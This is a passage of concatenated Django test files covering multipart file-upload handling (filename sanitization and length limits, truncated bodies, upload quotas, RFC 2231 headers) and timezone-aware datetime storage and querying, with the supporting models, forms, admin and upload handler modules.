            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': client.MULTIPART_CONTENT,
            'PATH_INFO': "/echo/",
            'REQUEST_METHOD': 'POST',
            'wsgi.input': payload,
        }
        response = self.client.request(**r)

        # The filenames should have been sanitized by the time it got to the view.
        received = json.loads(response.content.decode('utf-8'))
        for i, name in enumerate(scary_file_names):
            got = received["file%s" % i]
            self.assertEqual(got, "hax0rd.txt")

    def test_filename_overflow(self):
        """File names over 256 characters (dangerous on some platforms) get fixed up."""
        long_str = 'f' * 300
        cases = [
            # field name, filename, expected
            ('long_filename', '%s.txt' % long_str, '%s.txt' % long_str[:251]),
            ('long_extension', 'foo.%s' % long_str, '.%s' % long_str[:254]),
            ('no_extension', long_str, long_str[:255]),
            ('no_filename', '.%s' % long_str, '.%s' % long_str[:254]),
            ('long_everything', '%s.%s' % (long_str, long_str), '.%s' % long_str[:254]),
        ]
        payload = client.FakePayload()
        for name, filename, _ in cases:
            payload.write("\r\n".join([
                '--' + client.BOUNDARY,
                'Content-Disposition: form-data; name="{}"; filename="{}"',
                'Content-Type: application/octet-stream',
                '',
                'Oops.',
                ''
            ]).format(name, filename))
        payload.write('\r\n--' + client.BOUNDARY + '--\r\n')
        r = {
            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': client.MULTIPART_CONTENT,
            'PATH_INFO': "/echo/",
            'REQUEST_METHOD': 'POST',
            'wsgi.input': payload,
        }
        response = self.client.request(**r)

        result = json.loads(response.content.decode('utf-8'))
        for name, _, expected in cases:
            got = result[name]
            self.assertEqual(expected, got, 'Mismatch for {}'.format(name))
            self.assertLess(len(got), 256,
                            "Got a long file name (%s characters)." % len(got))

    def test_file_content(self):
        file = tempfile.NamedTemporaryFile
        with file(suffix=".ctype_extra") as no_content_type, file(suffix=".ctype_extra") as simple_file:
            no_content_type.write(b'no content')
            no_content_type.seek(0)

            simple_file.write(b'text content')
            simple_file.seek(0)
            simple_file.content_type = 'text/plain'

            string_io = StringIO('string content')
            bytes_io = BytesIO(b'binary content')

            response = self.client.post('/echo_content/', {
                'no_content_type': no_content_type,
                'simple_file': simple_file,
                'string': string_io,
                'binary': bytes_io,
            })
            received = json.loads(response.content.decode('utf-8'))
            self.assertEqual(received['no_content_type'], 'no content')
            self.assertEqual(received['simple_file'], 'text content')
            self.assertEqual(received['string'], 'string content')
            self.assertEqual(received['binary'], 'binary content')

    def test_content_type_extra(self):
        """Uploaded files may have content type parameters available."""
        file = tempfile.NamedTemporaryFile
        with file(suffix=".ctype_extra") as no_content_type, file(suffix=".ctype_extra") as simple_file:
            no_content_type.write(b'something')
            no_content_type.seek(0)

            simple_file.write(b'something')
            simple_file.seek(0)
            simple_file.content_type = 'text/plain; test-key=test_value'

            response = self.client.post('/echo_content_type_extra/', {
                'no_content_type': no_content_type,
                'simple_file': simple_file,
            })
            received = json.loads(response.content.decode('utf-8'))
            self.assertEqual(received['no_content_type'], {})
            self.assertEqual(received['simple_file'], {'test-key': 'test_value'})

    def test_truncated_multipart_handled_gracefully(self):
        """
        If passed an incomplete multipart message, MultiPartParser does not
        attempt to read beyond the end of the stream, and simply will handle
        the part that can be parsed gracefully.
        """
        payload_str = "\r\n".join([
            '--' + client.BOUNDARY,
            'Content-Disposition: form-data; name="file"; filename="foo.txt"',
            'Content-Type: application/octet-stream',
            '',
            'file contents'
            '--' + client.BOUNDARY + '--',
            '',
        ])
        payload = client.FakePayload(payload_str[:-10])
        r = {
            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': client.MULTIPART_CONTENT,
            'PATH_INFO': '/echo/',
            'REQUEST_METHOD': 'POST',
            'wsgi.input': payload,
        }
        got = json.loads(self.client.request(**r).content.decode('utf-8'))
        self.assertEqual(got, {})

    def test_empty_multipart_handled_gracefully(self):
        """
        If passed an empty multipart message, MultiPartParser will return
        an empty QueryDict.
        """
        r = {
            'CONTENT_LENGTH': 0,
            'CONTENT_TYPE': client.MULTIPART_CONTENT,
            'PATH_INFO': '/echo/',
            'REQUEST_METHOD': 'POST',
            'wsgi.input': client.FakePayload(b''),
        }
        got = json.loads(self.client.request(**r).content.decode('utf-8'))
        self.assertEqual(got, {})

    def test_custom_upload_handler(self):
        file = tempfile.NamedTemporaryFile
        with file() as smallfile, file() as bigfile:
            # A small file (under the 5M quota)
            smallfile.write(b'a' * (2 ** 21))
            smallfile.seek(0)

            # A big file (over the quota)
            bigfile.write(b'a' * (10 * 2 ** 20))
            bigfile.seek(0)

            # Small file posting should work.
            response = self.client.post('/quota/', {'f': smallfile})
            got = json.loads(response.content.decode('utf-8'))
            self.assertIn('f', got)

            # Large files don't go through.
            response = self.client.post("/quota/", {'f': bigfile})
            got = json.loads(response.content.decode('utf-8'))
            self.assertNotIn('f', got)

    def test_broken_custom_upload_handler(self):
        with tempfile.NamedTemporaryFile() as file:
            file.write(b'a' * (2 ** 21))
            file.seek(0)

            # AttributeError: You cannot alter upload handlers after the upload has been processed.
            with self.assertRaises(AttributeError):
                self.client.post('/quota/broken/', {'f': file})

    def test_fileupload_getlist(self):
        file = tempfile.NamedTemporaryFile
        with file() as file1, file() as file2, file() as file2a:
            file1.write(b'a' * (2 ** 23))
            file1.seek(0)

            file2.write(b'a' * (2 * 2 ** 18))
            file2.seek(0)

            file2a.write(b'a' * (5 * 2 ** 20))
            file2a.seek(0)

            response = self.client.post('/getlist_count/', {
                'file1': file1,
                'field1': 'test',
                'field2': 'test3',
                'field3': 'test5',
                'field4': 'test6',
                'field5': 'test7',
                'file2': (file2, file2a)
            })
            got = json.loads(response.content.decode('utf-8'))

            self.assertEqual(got.get('file1'), 1)
            self.assertEqual(got.get('file2'), 2)

    def test_fileuploads_closed_at_request_end(self):
        file = tempfile.NamedTemporaryFile
        with file() as f1, file() as f2a, file() as f2b:
            response = self.client.post('/fd_closing/t/', {
                'file': f1,
                'file2': (f2a, f2b),
            })

        request = response.wsgi_request
        # Check that the files got actually parsed.
        self.assertTrue(hasattr(request, '_files'))

        file = request._files['file']
        self.assertTrue(file.closed)

        files = request._files.getlist('file2')
        self.assertTrue(files[0].closed)
        self.assertTrue(files[1].closed)

    def test_no_parsing_triggered_by_fd_closing(self):
        file = tempfile.NamedTemporaryFile
        with file() as f1, file() as f2a, file() as f2b:
            response = self.client.post('/fd_closing/f/', {
                'file': f1,
                'file2': (f2a, f2b),
            })

        request = response.wsgi_request
        # Check that the fd closing logic doesn't trigger parsing of the stream
        self.assertFalse(hasattr(request, '_files'))

    def test_file_error_blocking(self):
        """
        The server should not block when there are upload errors (bug #8622).
        This can happen if something -- i.e. an exception handler -- tries to
        access POST while handling an error in parsing POST. This shouldn't
        cause an infinite loop!
        """
        class POSTAccessingHandler(client.ClientHandler):
            """A handler that'll access POST during an exception."""
            def handle_uncaught_exception(self, request, resolver, exc_info):
                ret = super(POSTAccessingHandler, self).handle_uncaught_exception(request, resolver, exc_info)
                request.POST  # evaluate
                return ret

        # Maybe this is a little more complicated that it needs to be; but if
        # the django.test.client.FakePayload.read() implementation changes then
        # this test would fail.  So we need to know exactly what kind of error
        # it raises when there is an attempt to read more than the available bytes:
        try:
            client.FakePayload(b'a').read(2)
        except Exception as err:
            reference_error = err

        # install the custom handler that tries to access request.POST
        self.client.handler = POSTAccessingHandler()

        with open(__file__, 'rb') as fp:
            post_data = {
                'name': 'Ringo',
                'file_field': fp,
            }
            try:
                self.client.post('/upload_errors/', post_data)
            except reference_error.__class__ as err:
                self.assertFalse(
                    str(err) == str(reference_error),
                    "Caught a repeated exception that'll cause an infinite loop in file uploads."
                )
            except Exception as err:
                # CustomUploadError is the error that should have been raised
                self.assertEqual(err.__class__, uploadhandler.CustomUploadError)

    def test_filename_case_preservation(self):
        """
        The storage backend shouldn't mess with the case of the filenames
        uploaded.
        """
        # Synthesize the contents of a file upload with a mixed case filename
        # so we don't have to carry such a file in the Django tests source code
        # tree.
        vars = {'boundary': 'oUrBoUnDaRyStRiNg'}
        post_data = [
            '--%(boundary)s',
            'Content-Disposition: form-data; name="file_field"; filename="MiXeD_cAsE.txt"',
            'Content-Type: application/octet-stream',
            '',
            'file contents\n'
            '',
            '--%(boundary)s--\r\n',
        ]
        response = self.client.post(
            '/filename_case/',
            '\r\n'.join(post_data) % vars,
            'multipart/form-data; boundary=%(boundary)s' % vars
        )
        self.assertEqual(response.status_code, 200)
        id = int(response.content)
        obj = FileModel.objects.get(pk=id)
        # The name of the file uploaded and the file stored in the server-side
        # shouldn't differ.
        self.assertEqual(os.path.basename(obj.testfile.path), 'MiXeD_cAsE.txt')


@override_settings(MEDIA_ROOT=MEDIA_ROOT)
class DirectoryCreationTests(SimpleTestCase):
    """
    Tests for error handling during directory creation
    via _save_FIELD_file (ticket #6450)
    """
    @classmethod
    def setUpClass(cls):
        super(DirectoryCreationTests, cls).setUpClass()
        if not os.path.isdir(MEDIA_ROOT):
            os.makedirs(MEDIA_ROOT)

    @classmethod
    def tearDownClass(cls):
        shutil.rmtree(MEDIA_ROOT)
        super(DirectoryCreationTests, cls).tearDownClass()

    def setUp(self):
        self.obj = FileModel()

    @unittest.skipIf(sys.platform == 'win32', "Python on Windows doesn't have working os.chmod().")
    def test_readonly_root(self):
        """Permission errors are not swallowed"""
        os.chmod(MEDIA_ROOT, 0o500)
        self.addCleanup(os.chmod, MEDIA_ROOT, 0o700)
        with self.assertRaises(OSError) as cm:
            self.obj.testfile.save('foo.txt', SimpleUploadedFile('foo.txt', b'x'), save=False)
        self.assertEqual(cm.exception.errno, errno.EACCES)

    def test_not_a_directory(self):
        """The correct IOError is raised when the upload directory name exists but isn't a directory"""
        # Create a file with the upload directory name
        open(UPLOAD_TO, 'wb').close()
        self.addCleanup(os.remove, UPLOAD_TO)
        with self.assertRaises(IOError) as exc_info:
            with SimpleUploadedFile('foo.txt', b'x') as file:
                self.obj.testfile.save('foo.txt', file, save=False)
        # The test needs to be done on a specific string as IOError
        # is raised even without the patch (just not early enough)
        self.assertEqual(exc_info.exception.args[0], "%s exists and is not a directory." % UPLOAD_TO)


class MultiParserTests(unittest.TestCase):

    def test_empty_upload_handlers(self):
        # We're not actually parsing here; just checking if the parser properly
        # instantiates with empty upload handlers.
        MultiPartParser({
            'CONTENT_TYPE': 'multipart/form-data; boundary=_foo',
            'CONTENT_LENGTH': '1'
        }, StringIO('x'), [], 'utf-8')

    def test_rfc2231_parsing(self):
        test_data = (
            (b"Content-Type: application/x-stuff; title*=us-ascii'en-us'This%20is%20%2A%2A%2Afun%2A%2A%2A",
             "This is ***fun***"),
            (b"Content-Type: application/x-stuff; title*=UTF-8''foo-%c3%a4.html",
             "foo-ä.html"),
            (b"Content-Type: application/x-stuff; title*=iso-8859-1''foo-%E4.html",
             "foo-ä.html"),
        )
        for raw_line, expected_title in test_data:
            parsed = parse_header(raw_line)
            self.assertEqual(parsed[1]['title'], expected_title)

    def test_rfc2231_wrong_title(self):
        """
        Test wrongly formatted RFC 2231 headers (missing double single quotes).
        Parsing should not crash (#24209).
        """
        test_data = (
            (b"Content-Type: application/x-stuff; title*='This%20is%20%2A%2A%2Afun%2A%2A%2A",
             b"'This%20is%20%2A%2A%2Afun%2A%2A%2A"),
            (b"Content-Type: application/x-stuff; title*='foo.html",
             b"'foo.html"),
            (b"Content-Type: application/x-stuff; title*=bar.html",
             b"bar.html"),
        )
        for raw_line, expected_title in test_data:
            parsed = parse_header(raw_line)
            self.assertEqual(parsed[1]['title'], expected_title)






"""
Upload handlers to test the upload API.
"""

from django.core.files.uploadhandler import FileUploadHandler, StopUpload


class QuotaUploadHandler(FileUploadHandler):
    """
    This test upload handler terminates the connection if more than a quota
    (5MB) is uploaded.
    """

    QUOTA = 5 * 2 ** 20  # 5 MB

    def __init__(self, request=None):
        super(QuotaUploadHandler, self).__init__(request)
        self.total_upload = 0

    def receive_data_chunk(self, raw_data, start):
        self.total_upload += len(raw_data)
        if self.total_upload >= self.QUOTA:
            raise StopUpload(connection_reset=True)
        return raw_data

    def file_complete(self, file_size):
        return None


class CustomUploadError(Exception):
    pass


class ErroringUploadHandler(FileUploadHandler):
    """A handler that raises an exception."""
    def receive_data_chunk(self, raw_data, start):
        raise CustomUploadError("Oops!")






from django.db import models


class Event(models.Model):
    dt = models.DateTimeField()


class MaybeEvent(models.Model):
    dt = models.DateTimeField(blank=True, null=True)


class Session(models.Model):
    name = models.CharField(max_length=20)


class SessionEvent(models.Model):
    dt = models.DateTimeField()
    session = models.ForeignKey(Session, models.CASCADE, related_name='events')


class Timestamp(models.Model):
    created = models.DateTimeField(auto_now_add=True)
    updated = models.DateTimeField(auto_now=True)


class AllDayEvent(models.Model):
    day = models.DateField()






from django.contrib import admin

from .models import Event, Timestamp


class EventAdmin(admin.ModelAdmin):
    list_display = ('dt',)


class TimestampAdmin(admin.ModelAdmin):
    readonly_fields = ('created', 'updated')

site = admin.AdminSite(name='admin_tz')
site.register(Event, EventAdmin)
site.register(Timestamp, TimestampAdmin)






from django import forms

from .models import Event


class EventForm(forms.Form):
    dt = forms.DateTimeField()


class EventSplitForm(forms.Form):
    dt = forms.SplitDateTimeField()


class EventLocalizedForm(forms.Form):
    dt = forms.DateTimeField(localize=True)


class EventModelForm(forms.ModelForm):
    class Meta:
        model = Event
        fields = '__all__'


class EventLocalizedModelForm(forms.ModelForm):
    class Meta:
        model = Event
        fields = '__all__'
        localized_fields = '__all__'






from django.conf.urls import url

from . import admin as tz_admin  # NOQA: register tz_admin

urlpatterns = [
    url(r'^admin/', tz_admin.site.urls),
]












from __future__ import unicode_literals

import datetime
import re
import sys
import warnings
from contextlib import contextmanager
from unittest import SkipTest, skipIf
from xml.dom.minidom import parseString

from django.contrib.auth.models import User
from django.core import serializers
from django.core.exceptions import ImproperlyConfigured
from django.db import connection, connections
from django.db.models import Max, Min
from django.http import HttpRequest
from django.template import (
    Context, RequestContext, Template, TemplateSyntaxError, context_processors,
)
from django.test import (
    SimpleTestCase, TestCase, TransactionTestCase, override_settings,
    skipIfDBFeature, skipUnlessDBFeature,
)
from django.test.utils import requires_tz_support
from django.urls import reverse
from django.utils import six, timezone

from .forms import (
    EventForm, EventLocalizedForm, EventLocalizedModelForm, EventModelForm,
    EventSplitForm,
)
from .models import (
    AllDayEvent, Event, MaybeEvent, Session, SessionEvent, Timestamp,
)

try:
    import pytz
except ImportError:
    pytz = None

requires_pytz = skipIf(pytz is None, "this test requires pytz")

# These tests use the EAT (Eastern Africa Time) and ICT (Indochina Time)
# who don't have Daylight Saving Time, so we can represent them easily
# with FixedOffset, and use them directly as tzinfo in the constructors.

# settings.TIME_ZONE is forced to EAT. Most tests use a variant of
# datetime.datetime(2011, 9, 1, 13, 20, 30), which translates to
# 10:20:30 in UTC and 17:20:30 in ICT.

UTC = timezone.utc
EAT = timezone.get_fixed_timezone(180)      # Africa/Nairobi
ICT = timezone.get_fixed_timezone(420)      # Asia/Bangkok


@override_settings(TIME_ZONE='Africa/Nairobi', USE_TZ=False)
class LegacyDatabaseTests(TestCase):

    def test_naive_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    @skipUnlessDBFeature('supports_microsecond_precision')
    def test_naive_datetime_with_microsecond(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    @skipIfDBFeature('supports_microsecond_precision')
    def test_naive_datetime_with_microsecond_unsupported(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        # microseconds are lost during a round-trip in the database
        self.assertEqual(event.dt, dt.replace(microsecond=0))

    @skipUnlessDBFeature('supports_timezones')
    def test_aware_datetime_in_local_timezone(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertIsNone(event.dt.tzinfo)
        # interpret the naive datetime in local time to get the correct value
        self.assertEqual(event.dt.replace(tzinfo=EAT), dt)

    @skipUnlessDBFeature('supports_timezones')
    @skipUnlessDBFeature('supports_microsecond_precision')
    def test_aware_datetime_in_local_timezone_with_microsecond(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060, tzinfo=EAT)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertIsNone(event.dt.tzinfo)
        # interpret the naive datetime in local time to get the correct value
        self.assertEqual(event.dt.replace(tzinfo=EAT), dt)

    # This combination actually never happens.
    @skipUnlessDBFeature('supports_timezones')
    @skipIfDBFeature('supports_microsecond_precision')
    def test_aware_datetime_in_local_timezone_with_microsecond_unsupported(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060, tzinfo=EAT)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertIsNone(event.dt.tzinfo)
        # interpret the naive datetime in local time to get the correct value
        # microseconds are lost during a round-trip in the database
        self.assertEqual(event.dt.replace(tzinfo=EAT), dt.replace(microsecond=0))

    @skipUnlessDBFeature('supports_timezones')
    def test_aware_datetime_in_utc(self):
        dt = datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertIsNone(event.dt.tzinfo)
        # interpret the naive datetime in local time to get the correct value
        self.assertEqual(event.dt.replace(tzinfo=EAT), dt)

    @skipUnlessDBFeature('supports_timezones')
    def test_aware_datetime_in_other_timezone(self):
        dt = datetime.datetime(2011, 9, 1, 17, 20, 30, tzinfo=ICT)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertIsNone(event.dt.tzinfo)
        # interpret the naive datetime in local time to get the correct value
        self.assertEqual(event.dt.replace(tzinfo=EAT), dt)

    @skipIfDBFeature('supports_timezones')
    def test_aware_datetime_unsupported(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        with self.assertRaises(ValueError):
            Event.objects.create(dt=dt)

    def test_auto_now_and_auto_now_add(self):
        now = datetime.datetime.now()
        past = now - datetime.timedelta(seconds=2)
        future = now + datetime.timedelta(seconds=2)
        Timestamp.objects.create()
        ts = Timestamp.objects.get()
        self.assertLess(past, ts.created)
        self.assertLess(past, ts.updated)
        self.assertGreater(future, ts.updated)
        self.assertGreater(future, ts.updated)

    def test_query_filter(self):
        dt1 = datetime.datetime(2011, 9, 1, 12, 20, 30)
        dt2 = datetime.datetime(2011, 9, 1, 14, 20, 30)
        Event.objects.create(dt=dt1)
        Event.objects.create(dt=dt2)
        self.assertEqual(Event.objects.filter(dt__gte=dt1).count(), 2)
        self.assertEqual(Event.objects.filter(dt__gt=dt1).count(), 1)
        self.assertEqual(Event.objects.filter(dt__gte=dt2).count(), 1)
        self.assertEqual(Event.objects.filter(dt__gt=dt2).count(), 0)

    def test_query_datetime_lookups(self):
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 1, 30, 0))
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 4, 30, 0))
        self.assertEqual(Event.objects.filter(dt__year=2011).count(), 2)
        self.assertEqual(Event.objects.filter(dt__month=1).count(), 2)
        self.assertEqual(Event.objects.filter(dt__day=1).count(), 2)
        self.assertEqual(Event.objects.filter(dt__week_day=7).count(), 2)
        self.assertEqual(Event.objects.filter(dt__hour=1).count(), 1)
        self.assertEqual(Event.objects.filter(dt__minute=30).count(), 2)
        self.assertEqual(Event.objects.filter(dt__second=0).count(), 2)

    def test_query_aggregation(self):
        # Only min and max make sense for datetimes.
        Event.objects.create(dt=datetime.datetime(2011, 9, 1, 23, 20, 20))
        Event.objects.create(dt=datetime.datetime(2011, 9, 1, 13, 20, 30))
        Event.objects.create(dt=datetime.datetime(2011, 9, 1, 3, 20, 40))
        result = Event.objects.all().aggregate(Min('dt'), Max('dt'))
        self.assertEqual(result, {
            'dt__min': datetime.datetime(2011, 9, 1, 3, 20, 40),
            'dt__max': datetime.datetime(2011, 9, 1, 23, 20, 20),
        })

    def test_query_annotation(self):
        # Only min and max make sense for datetimes.
        morning = Session.objects.create(name='morning')
        afternoon = Session.objects.create(name='afternoon')
        SessionEvent.objects.create(dt=datetime.datetime(2011, 9, 1, 23, 20, 20), session=afternoon)
        SessionEvent.objects.create(dt=datetime.datetime(2011, 9, 1, 13, 20, 30), session=afternoon)
        SessionEvent.objects.create(dt=datetime.datetime(2011, 9, 1, 3, 20, 40), session=morning)
        morning_min_dt = datetime.datetime(2011, 9, 1, 3, 20, 40)
        afternoon_min_dt = datetime.datetime(2011, 9, 1, 13, 20, 30)
        self.assertQuerysetEqual(
            Session.objects.annotate(dt=Min('events__dt')).order_by('dt'),
            [morning_min_dt, afternoon_min_dt],
            transform=lambda d: d.dt)
        self.assertQuerysetEqual(
            Session.objects.annotate(dt=Min('events__dt')).filter(dt__lt=afternoon_min_dt),
            [morning_min_dt],
            transform=lambda d: d.dt)
        self.assertQuerysetEqual(
            Session.objects.annotate(dt=Min('events__dt')).filter(dt__gte=afternoon_min_dt),
            [afternoon_min_dt],
            transform=lambda d: d.dt)

    def test_query_datetimes(self):
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 1, 30, 0))
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 4, 30, 0))
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'year'),
            [datetime.datetime(2011, 1, 1, 0, 0, 0)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'month'),
            [datetime.datetime(2011, 1, 1, 0, 0, 0)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'day'),
            [datetime.datetime(2011, 1, 1, 0, 0, 0)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'hour'),
            [datetime.datetime(2011, 1, 1, 1, 0, 0),
             datetime.datetime(2011, 1, 1, 4, 0, 0)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'minute'),
            [datetime.datetime(2011, 1, 1, 1, 30, 0),
             datetime.datetime(2011, 1, 1, 4, 30, 0)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'second'),
            [datetime.datetime(2011, 1, 1, 1, 30, 0),
             datetime.datetime(2011, 1, 1, 4, 30, 0)],
            transform=lambda d: d)

    def test_raw_sql(self):
        # Regression test for #17755
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30)
        event = Event.objects.create(dt=dt)
        self.assertQuerysetEqual(
            Event.objects.raw('SELECT * FROM timezones_event WHERE dt = %s', [dt]),
            [event],
            transform=lambda d: d)

    def test_cursor_execute_accepts_naive_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30)
        with connection.cursor() as cursor:
            cursor.execute('INSERT INTO timezones_event (dt) VALUES (%s)', [dt])
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    def test_cursor_execute_returns_naive_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30)
        Event.objects.create(dt=dt)
        with connection.cursor() as cursor:
            cursor.execute('SELECT dt FROM timezones_event WHERE dt = %s', [dt])
            self.assertEqual(cursor.fetchall()[0][0], dt)

    def test_filter_date_field_with_aware_datetime(self):
        # Regression test for #17742
        day = datetime.date(2011, 9, 1)
        AllDayEvent.objects.create(day=day)
        # This is 2011-09-02T01:30:00+03:00 in EAT
        dt = datetime.datetime(2011, 9, 1, 22, 30, 0, tzinfo=UTC)
        self.assertTrue(AllDayEvent.objects.filter(day__gte=dt).exists())


@override_settings(TIME_ZONE='Africa/Nairobi', USE_TZ=True)
class NewDatabaseTests(TestCase):

    @requires_tz_support
    def test_naive_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30)
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('always')
            Event.objects.create(dt=dt)
            self.assertEqual(len(recorded), 1)
            msg = str(recorded[0].message)
            self.assertTrue(msg.startswith("DateTimeField Event.dt received "
                                           "a naive datetime"))
        event = Event.objects.get()
        # naive datetimes are interpreted in local time
        self.assertEqual(event.dt, dt.replace(tzinfo=EAT))

    @requires_tz_support
    def test_datetime_from_date(self):
        dt = datetime.date(2011, 9, 1)
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('always')
            Event.objects.create(dt=dt)
            self.assertEqual(len(recorded), 1)
            msg = str(recorded[0].message)
            self.assertTrue(msg.startswith("DateTimeField Event.dt received "
                                           "a naive datetime"))
        event = Event.objects.get()
        self.assertEqual(event.dt, datetime.datetime(2011, 9, 1, tzinfo=EAT))

    @requires_tz_support
    @skipUnlessDBFeature('supports_microsecond_precision')
    def test_naive_datetime_with_microsecond(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060)
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('always')
            Event.objects.create(dt=dt)
            self.assertEqual(len(recorded), 1)
            msg = str(recorded[0].message)
            self.assertTrue(msg.startswith("DateTimeField Event.dt received "
                                           "a naive datetime"))
        event = Event.objects.get()
        # naive datetimes are interpreted in local time
        self.assertEqual(event.dt, dt.replace(tzinfo=EAT))

    @requires_tz_support
    @skipIfDBFeature('supports_microsecond_precision')
    def test_naive_datetime_with_microsecond_unsupported(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060)
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('always')
            Event.objects.create(dt=dt)
            self.assertEqual(len(recorded), 1)
            msg = str(recorded[0].message)
            self.assertTrue(msg.startswith("DateTimeField Event.dt received "
                                           "a naive datetime"))
        event = Event.objects.get()
        # microseconds are lost during a round-trip in the database
        # naive datetimes are interpreted in local time
        self.assertEqual(event.dt, dt.replace(microsecond=0, tzinfo=EAT))

    def test_aware_datetime_in_local_timezone(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    @skipUnlessDBFeature('supports_microsecond_precision')
    def test_aware_datetime_in_local_timezone_with_microsecond(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060, tzinfo=EAT)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    @skipIfDBFeature('supports_microsecond_precision')
    def test_aware_datetime_in_local_timezone_with_microsecond_unsupported(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060, tzinfo=EAT)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        # microseconds are lost during a round-trip in the database
        self.assertEqual(event.dt, dt.replace(microsecond=0))

    def test_aware_datetime_in_utc(self):
        dt = datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    def test_aware_datetime_in_other_timezone(self):
        dt = datetime.datetime(2011, 9, 1, 17, 20, 30, tzinfo=ICT)
        Event.objects.create(dt=dt)
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    def test_auto_now_and_auto_now_add(self):
        now = timezone.now()
        past = now - datetime.timedelta(seconds=2)
        future = now + datetime.timedelta(seconds=2)
        Timestamp.objects.create()
        ts = Timestamp.objects.get()
        self.assertLess(past, ts.created)
        self.assertLess(past, ts.updated)
        self.assertGreater(future, ts.updated)
        self.assertGreater(future, ts.updated)

    def test_query_filter(self):
        dt1 = datetime.datetime(2011, 9, 1, 12, 20, 30, tzinfo=EAT)
        dt2 = datetime.datetime(2011, 9, 1, 14, 20, 30, tzinfo=EAT)
        Event.objects.create(dt=dt1)
        Event.objects.create(dt=dt2)
        self.assertEqual(Event.objects.filter(dt__gte=dt1).count(), 2)
        self.assertEqual(Event.objects.filter(dt__gt=dt1).count(), 1)
        self.assertEqual(Event.objects.filter(dt__gte=dt2).count(), 1)
        self.assertEqual(Event.objects.filter(dt__gt=dt2).count(), 0)

    @requires_pytz
    def test_query_filter_with_pytz_timezones(self):
        tz = pytz.timezone('Europe/Paris')
        dt = datetime.datetime(2011, 9, 1, 12, 20, 30, tzinfo=tz)
        Event.objects.create(dt=dt)
        next = dt + datetime.timedelta(seconds=3)
        prev = dt - datetime.timedelta(seconds=3)
        self.assertEqual(Event.objects.filter(dt__exact=dt).count(), 1)
        self.assertEqual(Event.objects.filter(dt__exact=next).count(), 0)
        self.assertEqual(Event.objects.filter(dt__in=(prev, next)).count(), 0)
        self.assertEqual(Event.objects.filter(dt__in=(prev, dt, next)).count(), 1)
        self.assertEqual(Event.objects.filter(dt__range=(prev, next)).count(), 1)

    @requires_tz_support
    def test_query_filter_with_naive_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 12, 20, 30, tzinfo=EAT)
        Event.objects.create(dt=dt)
        dt = dt.replace(tzinfo=None)
        with warnings.catch_warnings(record=True) as recorded:
            warnings.simplefilter('always')
            # naive datetimes are interpreted in local time
            self.assertEqual(Event.objects.filter(dt__exact=dt).count(), 1)
            self.assertEqual(Event.objects.filter(dt__lte=dt).count(), 1)
            self.assertEqual(Event.objects.filter(dt__gt=dt).count(), 0)
            self.assertEqual(len(recorded), 3)
            for warning in recorded:
                msg = str(warning.message)
                self.assertTrue(msg.startswith("DateTimeField Event.dt "
                                               "received a naive datetime"))

    @skipUnlessDBFeature('has_zoneinfo_database')
    def test_query_datetime_lookups(self):
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 1, 30, 0, tzinfo=EAT))
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 4, 30, 0, tzinfo=EAT))
        self.assertEqual(Event.objects.filter(dt__year=2011).count(), 2)
        self.assertEqual(Event.objects.filter(dt__month=1).count(), 2)
